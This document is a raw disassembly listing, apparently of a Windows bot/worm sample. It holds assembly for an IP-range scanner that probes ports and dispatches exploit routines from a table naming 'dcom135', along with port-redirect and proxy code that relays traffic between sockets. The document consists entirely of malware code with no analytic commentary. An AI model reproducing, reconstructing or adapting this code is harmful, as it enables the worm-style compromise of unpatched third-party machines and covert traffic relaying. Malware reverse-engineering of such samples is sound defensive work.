dd 5600439Bh, 5435FF57h, 8D00439Bh, 0FFFDFC85h, 78BC68FFh
dd 0E8500042h, 0E18Dh, 0FC858D53h, 6AFFFFFDh, 2AE85004h
dd 830000DCh, 4CA320C4h, 8D00439Bh, 5350FC45h, 43994068h
dd 6C226800h, 53530040h, 108C15FFh, 0D8B0042h, 439B4Ch
dd 234C969h, 0C33B0000h, 0F51C8189h, 12740043h, 9BE01D39h
dd 25750043h, 15FF326Ah, 421060h, 15FFEEEBh, 421088h, 0FC858D50h
dd 68FFFFFDh, 427874h, 0E11FE850h, 0C4830000h, 0FC858D0Ch
dd 50FFFFFDh, 3D94E8h, 9F9CBF00h, 4C70043h, 10424h, 89535700h
dd 43A1A81Dh, 8C2AE800h, 68DFFFFCh, 103h, 43A0A0BEh, 0C1B86800h
dd 0E8560042h, 0F934h, 118858Bh, 0C4830000h, 989D380Ch
dd 0A3000000h, 439F98h, 140858Bh, 7F6A0000h, 43A230A3h
dd 8D1D7500h, 68501845h, 43A1B0h, 0F903E8h, 0CC48300h
dd 0A23405C7h, 10043h, 1AEB0000h, 98858Dh, 68500000h, 43A1B0h
dd 0F8E3E8h, 0CC48300h, 0A2341D89h, 57560043h, 0A1AC35FFh
dd 858D0043h, 0FFFFFDFCh, 42782068h, 6EE85000h, 530000E0h
dd 0FDFC858Dh, 56AFFFFh, 0DB0BE850h, 0C4830000h, 0A1A4A320h
dd 458D0043h, 685350FCh, 439F98h, 4053ED68h, 0FF535300h
dd 42108C15h, 0A40D8B00h, 5F0043A1h, 234C969h, 0C33B0000h
dd 0F51C8189h, 16740043h, 0A2381D39h, 850F0043h, 12Dh
dd 15FF326Ah, 421060h, 15FFEAEBh, 421088h, 77DC6850h, 3E90042h
db 1, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4074CB: ; CODE XREF: seg000:0040727Fj
cmp ds:dword_427310[eax], ebx
jz loc_4075EA
push 3
call sub_4151C1
test eax, eax
pop ecx
jnz loc_4075EA
mov esi, offset dword_439E74
push 104h
push esi
push ebx
call near ptr 3D0000h
cld
push 5Ch
push esi
call sub_417020
pop ecx
cmp eax, ebx
pop ecx
jz short loc_407509
mov [eax], bl
loc_407509: ; CODE XREF: seg000:00407505j
mov eax, ds:dword_42C154
mov ds:dword_439F8C, ebx
mov ds:dword_439F78, eax
lea eax, [ebp+18h]
push eax
push offset dword_439BEC
call sub_4154CD
mov eax, [ebp+118h]
pop ecx
pop ecx
mov ds:dword_439BE8, eax
mov ecx, [ebp+140h]
push esi
push ds:dword_439F78
mov ds:dword_439F84, ecx
mov ecx, [ebp+144h]
push eax
mov ds:dword_439F88, ecx
call sub_40A155
pop ecx
push eax
lea eax, [ebp-204h]
push offset dword_42778C
push eax
call sub_4154CD
push ebx
lea eax, [ebp-204h]
push 3
push eax
call sub_414F79
add esp, 20h
mov ds:dword_439F80, eax
lea eax, [ebp-4]
push eax
push ebx
push offset dword_439BE8
push offset sub_405B07
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, ds:dword_439F80
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_4075C2
loc_4075B0: ; CODE XREF: seg000:004075C0j
cmp ds:dword_439F94, ebx
jnz short loc_4075DD
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_4075B0
; ---------------------------------------------------------------------------
loc_4075C2: ; CODE XREF: seg000:004075AEj
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_427744
lea eax, [ebp-204h]
push eax
call sub_4154CD
add esp, 0Ch
loc_4075DD: ; CODE XREF: seg000:004075B6j
lea eax, [ebp-204h]
push eax
call sub_40B151
pop ecx
loc_4075EA: ; CODE XREF: seg000:0040726Ej
; seg000:0040728Fj ...
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4075EE proc near ; CODE XREF: sub_40776F:loc_4077E0p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:438FC8h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_4155B0
add esp, 0Ch
push [ebp+arg_0]
call ds:dword_43A2AC ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call ds:dword_43A374 ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_4155B0
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_4075EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407636 proc near ; CODE XREF: sub_40776F+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_415CD0
cmp eax, 0Fh
pop ecx
jbe short loc_40765E
xor eax, eax
jmp short loc_4076CF
; ---------------------------------------------------------------------------
loc_40765E: ; CODE XREF: sub_407636+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_416A80
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40768B
call sub_415529
mov [ebp+var_C], eax
loc_40768B: ; CODE XREF: sub_407636+4Bj
cmp [ebp+var_8], esi
jnz short loc_407698
call sub_415529
mov [ebp+var_8], eax
loc_407698: ; CODE XREF: sub_407636+58j
cmp [ebp+var_4], esi
jnz short loc_4076A5
call sub_415529
mov [ebp+var_4], eax
loc_4076A5: ; CODE XREF: sub_407636+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_4076B1
call sub_415529
loc_4076B1: ; CODE XREF: sub_407636+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov ds:dword_438FC8[ecx*8], eax
loc_4076CF: ; CODE XREF: sub_407636+26j
pop esi
leave
retn
sub_407636 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4076D2 proc near ; CODE XREF: sub_40776F+B8p
; sub_412B7E+30p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call ds:dword_43A3F8 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4076FB
xor eax, eax
jmp short loc_40776A
; ---------------------------------------------------------------------------
loc_4076FB: ; CODE XREF: sub_4076D2+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call ds:dword_43A378 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call ds:dword_43A414 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call ds:dword_43A320 ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call ds:dword_43A360 ; select
push esi
mov edi, eax
call ds:dword_43A410 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_40776A: ; CODE XREF: sub_4076D2+27j
pop edi
pop esi
pop ebx
leave
retn
sub_4076D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40776F proc near ; DATA XREF: sub_407983+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call ds:dword_42104C ; GetTickCount
push eax
call sub_41551F
mov ebx, esi
pop ecx
imul ebx, 234h
loc_4077B6: ; CODE XREF: sub_40776F+200j
mov eax, ds:dword_43F50C[ebx]
cmp ds:dword_438FCC[eax*8], 0
jz loc_407974
cmp [ebp+var_10], 0
push eax
jz short loc_4077E0
lea eax, [ebp+var_150]
push eax
call sub_407636
pop ecx
jmp short loc_4077E5
; ---------------------------------------------------------------------------
loc_4077E0: ; CODE XREF: sub_40776F+60j
call sub_4075EE
loc_4077E5: ; CODE XREF: sub_40776F+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push ds:dword_43F50C[ebx]
push [ebp+var_3C]
push edi
call ds:dword_43A404 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_427958
push eax
call sub_4154CD
lea eax, [ebp+var_28C]
push eax
lea eax, dword_43F308[ebx]
push eax
call sub_4154CD
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_4076D2
add esp, 2Ch
cmp eax, 1
jnz loc_407964
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_4078B9
push offset dword_439928
call ds:dword_4210B4 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call ds:dword_43A404 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_42791C
push eax
call sub_4154CD
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40789B
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40788F
lea eax, [ebp+var_140]
loc_40788F: ; CODE XREF: sub_40776F+118j
push eax
push [ebp+var_40]
call sub_412D32
add esp, 14h
loc_40789B: ; CODE XREF: sub_40776F+FDj
lea eax, [ebp+var_28C]
push eax
call sub_40B151
mov [esp+2A8h+var_2A8], offset dword_439928
call ds:dword_4210B0 ; RtlLeaveCriticalSection
jmp loc_407964
; ---------------------------------------------------------------------------
loc_4078B9: ; CODE XREF: sub_40776F+CDj
push edi
call ds:dword_43A404 ; inet_ntoa
push eax
lea eax, [ebp+var_208]
push eax
call sub_4154CD
mov eax, [ebp+var_20]
imul eax, 3Ch
add eax, offset aDcom135_0 ; "dcom135"
push eax
lea eax, [ebp+var_178]
push eax
call sub_4154CD
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_4078FD
lea eax, [ebp+var_140]
loc_4078FD: ; CODE XREF: sub_40776F+186j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_4154CD
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_164], eax
imul eax, 3Ch
sub esp, 0BCh
mov [ebp+var_168], esi
lea esi, [ebp+var_20C]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call ds:off_427304[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_407964: ; CODE XREF: sub_40776F+C3j
; sub_40776F+145j
push 7D0h
call ds:dword_421060 ; Sleep
jmp loc_4077B6
; ---------------------------------------------------------------------------
loc_407974: ; CODE XREF: sub_40776F+55j
push esi
call sub_415295
pop ecx
push 0
call near ptr 3D0000h
icebp
sub_40776F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407983 proc near ; DATA XREF: seg000:0041000Bo
; seg000:00411B9Fo
var_1DC = dword ptr -1DCh
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call ds:dword_43A3B8 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov ds:dword_438FC8[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call loc_40725A
push 8
call sub_4151C1
add esp, 150h
cmp eax, ebx
jnz short loc_407A51
mov esi, offset dword_439928
push esi
call ds:dword_4210BC ; RtlDeleteCriticalSection
push 80000400h
push esi
call ds:dword_4210B8 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_407A51
lea eax, [ebp+var_1CC]
push offset unk_427A9C
push eax
call sub_4154CD
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_407A3B
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_412D32
add esp, 14h
loc_407A3B: ; CODE XREF: sub_407983+99j
lea eax, [ebp+var_1CC]
push eax
call sub_40B151
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_407A51: ; CODE XREF: sub_407983+63j
; sub_407983+7Fj
mov eax, [ebp+var_2C]
mov esi, ds:dword_421060
mov edi, ebx
mov ds:dword_438FCC[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_407B1E
loc_407A6F: ; CODE XREF: sub_407983+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_427A50
push eax
call sub_4154CD
push ebx
lea eax, [ebp+var_1CC]
push 8
push eax
call sub_414F79
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov ds:dword_43F50C[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40776F
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_407AE9
loc_407ADE: ; CODE XREF: sub_407983+164j
cmp [ebp+var_4], ebx
jnz short loc_407B10
push 1Eh
call esi ; Sleep
jmp short loc_407ADE
; ---------------------------------------------------------------------------
loc_407AE9: ; CODE XREF: sub_407983+159j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_1CC]
push offset unk_427A00
push eax
call sub_4154CD
lea eax, [ebp+var_1CC]
push eax
call sub_40B151
add esp, 10h
loc_407B10: ; CODE XREF: sub_407983+15Ej
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_407A6F
loc_407B1E: ; CODE XREF: sub_407983+E6j
cmp [ebp+var_30], ebx
jz loc_407BC8
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
loc_407B33: ; CODE XREF: sub_407983+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, ds:dword_438FC8[eax*8]
push eax
call ds:dword_43A404 ; inet_ntoa
push eax
lea eax, [ebp+var_1CC]
push offset unk_4279A8
push eax
call sub_4154CD
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_407B81
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_412D32
add esp, 14h
loc_407B81: ; CODE XREF: sub_407983+1DFj
lea eax, [ebp+var_1CC]
push eax
call sub_40B151
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov ds:dword_438FCC[eax*8], ebx
call esi ; Sleep
push 8
call sub_4151C1
cmp eax, 1
pop ecx
jnz short loc_407BB8
push offset dword_439928
call ds:dword_4210BC ; RtlDeleteCriticalSection
loc_407BB8: ; CODE XREF: sub_407983+228j
push [ebp+var_2C]
call sub_415295
pop ecx
push ebx
call near ptr 3D0000h
iret
; ---------------------------------------------------------------------------
loc_407BC8: ; CODE XREF: sub_407983+19Ej
; sub_407983+25Dj
mov eax, [ebp+var_2C]
cmp ds:dword_438FCC[eax*8], 1
jnz loc_407B33
push 7D0h
call esi ; Sleep
jmp short loc_407BC8
sub_407983 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407BE2 proc near ; DATA XREF: seg000:004103E2o
var_34C = byte ptr -34Ch
var_14C = byte ptr -14Ch
var_148 = dword ptr -148h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
push 1
xor esi, esi
pop edi
push 10h
mov [eax+120h], edi
pop ebx
lea eax, [ebp+var_10]
push ebx
push esi
push eax
call sub_415550
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_40]
call ds:dword_43A378 ; ntohs
push 6
push edi
push 2
mov [ebp+var_E], ax
mov [ebp+var_C], esi
mov [ebp+arg_0], ebx
call ds:dword_43A3F8 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_407D46
mov eax, [ebp+var_3C]
push edi
imul eax, 234h
push 401h
push esi
push ebx
mov ds:dword_43F514[eax], ebx
call ds:dword_43A294 ; WSAAsyncSelect
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call ds:dword_43A3A4 ; bind
test eax, eax
jnz loc_407D46
push 0Ah
push ebx
call ds:dword_43A3A0 ; listen
test eax, eax
jnz loc_407D46
loc_407C8C: ; CODE XREF: sub_407BE2+BEj
; sub_407BE2+13Fj
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_24]
push eax
push ebx
call ds:dword_43A40C ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_407C8C
movzx eax, [ebp+var_22]
push [ebp+var_3C]
mov [ebp+var_148], edi
mov [ebp+var_2C], esi
push eax
push [ebp+var_20]
call ds:dword_43A404 ; inet_ntoa
push eax
lea eax, [ebp+var_34C]
push offset unk_427B38
push eax
call sub_4154CD
push edi
lea eax, [ebp+var_34C]
push 10h
push eax
call sub_414F79
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov ds:dword_43F50C[eax], ecx
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_14C]
push esi
push eax
push offset sub_407D6A
push esi
push esi
call ds:dword_42108C ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov ds:dword_43F51C[ecx], eax
jz short loc_407D31
loc_407D1E: ; CODE XREF: sub_407BE2+14Dj
cmp [ebp+var_2C], esi
jnz loc_407C8C
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_407D1E
; ---------------------------------------------------------------------------
loc_407D31: ; CODE XREF: sub_407BE2+13Aj
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_427AE8
call sub_40B1C5
pop ecx
pop ecx
jmp short loc_407D49
; ---------------------------------------------------------------------------
loc_407D46: ; CODE XREF: sub_407BE2+61j
; sub_407BE2+93j ...
mov edi, [ebp+arg_0]
loc_407D49: ; CODE XREF: sub_407BE2+162j
push edi
call ds:dword_43A410 ; closesocket
push ebx
call ds:dword_43A410 ; closesocket
push [ebp+var_3C]
call sub_415295
pop ecx
push esi
call near ptr 3D0000h
imul ebx, [edi+5Eh], 5Bh
sub_407BE2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407D6A proc near ; DATA XREF: sub_407BE2+11Co
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_415D50
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
push 1
pop ecx
mov [ebp+var_4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call ds:dword_43A3F8 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_407F20
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_415550
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call ds:dword_43A378 ; ntohs
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call ds:dword_43A3B8 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_407DFA
lea eax, [ebp+var_13C]
push eax
call ds:dword_43A3FC ; gethostbyname
jmp short loc_407E08
; ---------------------------------------------------------------------------
loc_407DFA: ; CODE XREF: sub_407D6A+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call ds:dword_43A330 ; gethostbyaddr
loc_407E08: ; CODE XREF: sub_407D6A+8Ej
cmp eax, edi
jz loc_407F20
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call ds:dword_43A320 ; connect
cmp eax, 0FFFFFFFFh
jz loc_407F20
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call ds:dword_43A404 ; inet_ntoa
push eax
lea eax, [ebp+var_344]
push offset unk_427BE4
push eax
call sub_4154CD
push esi
lea eax, [ebp+var_344]
push 10h
push eax
call sub_414F79
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_43F514[ebx]
mov ds:dword_43F50C[eax], ecx
add esp, 20h
mov ecx, [esi]
mov ds:dword_43F518[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push (offset loc_407F4D+4)
push edi
push edi
call ds:dword_42108C ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov ds:dword_43F51C[ecx], eax
jz short loc_407F0D
loc_407EBA: ; CODE XREF: sub_407D6A+15Dj
cmp [ebp+var_20], edi
jnz short loc_407EC9
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_407EBA
; ---------------------------------------------------------------------------
loc_407EC9: ; CODE XREF: sub_407D6A+153j
mov ebx, 1000h
loc_407ECE: ; CODE XREF: sub_407D6A+19Fj
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_415550
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call ds:dword_43A390 ; recv
cmp eax, edi
jle short loc_407F20
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_407ECE
jmp short loc_407F20
; ---------------------------------------------------------------------------
loc_407F0D: ; CODE XREF: sub_407D6A+14Ej
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_427B90
call sub_40B1C5
pop ecx
pop ecx
loc_407F20: ; CODE XREF: sub_407D6A+44j
; sub_407D6A+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push ds:dword_43F514[eax]
call ds:dword_43A410 ; closesocket
push [ebp+arg_0]
call ds:dword_43A410 ; closesocket
push [ebp+var_4]
call sub_415295
pop ecx
push edi
call near ptr 3D0000h
loc_407F4D: ; DATA XREF: sub_407D6A+130o
mov esp, 555B5E5Fh
sub_407D6A endp ; sp-analysis failed
mov ebp, esp
mov eax, 1128h
call sub_415D50
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_407F88: ; CODE XREF: seg000:00407FCDj
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_415550
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push ds:dword_43F518[esi]
call ds:dword_43A390 ; recv
test eax, eax
jle short loc_407FCF
push 0
push eax
lea eax, [ebp-1128h]
push eax
push ds:dword_43F514[esi]
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_407F88
loc_407FCF: ; CODE XREF: seg000:00407FB2j
push ds:dword_43F518[esi]
call ds:dword_43A410 ; closesocket
push dword ptr [ebp-14h]
call sub_415295
pop ecx
push 0
call near ptr 3D0000h
pop eax
pop edi
pop esi
loc_407FEE: ; DATA XREF: seg000:004126E6o
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp-0D4h]
push 2Ch
mov [ebp-4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx
lea eax, [ebp-14h]
push esi
push eax
call sub_415550
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp-40h]
call ds:dword_43A378 ; ntohs
push 6
push edi
push 2
mov [ebp-12h], ax
mov [ebp-10h], esi
call ds:dword_43A3F8 ; socket
mov edi, eax
mov eax, [ebp-3Ch]
imul eax, 234h
push ebx
mov ds:dword_43F514[eax], edi
lea eax, [ebp-14h]
push eax
push edi
call ds:dword_43A3A4 ; bind
test eax, eax
jnz loc_408190
push 0Ah
push edi
call ds:dword_43A3A0 ; listen
test eax, eax
jnz loc_408190
push dword ptr [ebp-40h]
push dword ptr [ebp-0D4h]
call sub_40A155
pop ecx
push eax
lea eax, [ebp-2D4h]
push offset unk_427D24
push eax
call sub_4154CD
add esp, 10h
cmp [ebp-30h], esi
jnz short loc_4080C9
push esi
lea eax, [ebp-2D4h]
push dword ptr [ebp-34h]
push eax
lea eax, [ebp-0D0h]
push eax
push dword ptr [ebp-0D4h]
call sub_412D32
add esp, 14h
loc_4080C9: ; CODE XREF: seg000:004080A7j
; seg000:00408160j ...
lea eax, [ebp-2D4h]
push eax
call sub_40B151
pop ecx
lea eax, [ebp-4]
push eax
lea eax, [ebp-24h]
push eax
push edi
call ds:dword_43A40C ; accept
push dword ptr [ebp-3Ch]
mov ebx, eax
movzx eax, word ptr [ebp-22h]
push eax
mov [ebp-28h], esi
push dword ptr [ebp-20h]
call ds:dword_43A404 ; inet_ntoa
push eax
lea eax, [ebp-2D4h]
push offset unk_427CCC
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2D4h]
push 11h
push eax
call sub_414F79
mov [ebp-38h], eax
imul eax, 234h
mov ecx, [ebp-3Ch]
add esp, 20h
mov ds:dword_43F50C[eax], ecx
lea eax, [ebp+8]
push eax
lea eax, [ebp-0D4h]
push esi
push eax
push offset loc_4081F3
push esi
push esi
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-38h]
imul ecx, 234h
cmp eax, esi
mov ds:dword_43F51C[ecx], eax
jz short loc_408170
loc_40815D: ; CODE XREF: seg000:0040816Ej
cmp [ebp-28h], esi
jnz loc_4080C9
push 5
call ds:dword_421060 ; Sleep
jmp short loc_40815D
; ---------------------------------------------------------------------------
loc_408170: ; CODE XREF: seg000:0040815Bj
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2D4h]
push offset unk_427C80
push eax
call sub_4154CD
add esp, 0Ch
jmp loc_4080C9
; ---------------------------------------------------------------------------
loc_408190: ; CODE XREF: seg000:00408069j
; seg000:0040807Aj
push edi
call ds:dword_43A410 ; closesocket
push dword ptr [ebp-40h]
lea eax, [ebp-2D4h]
push offset unk_427C3C
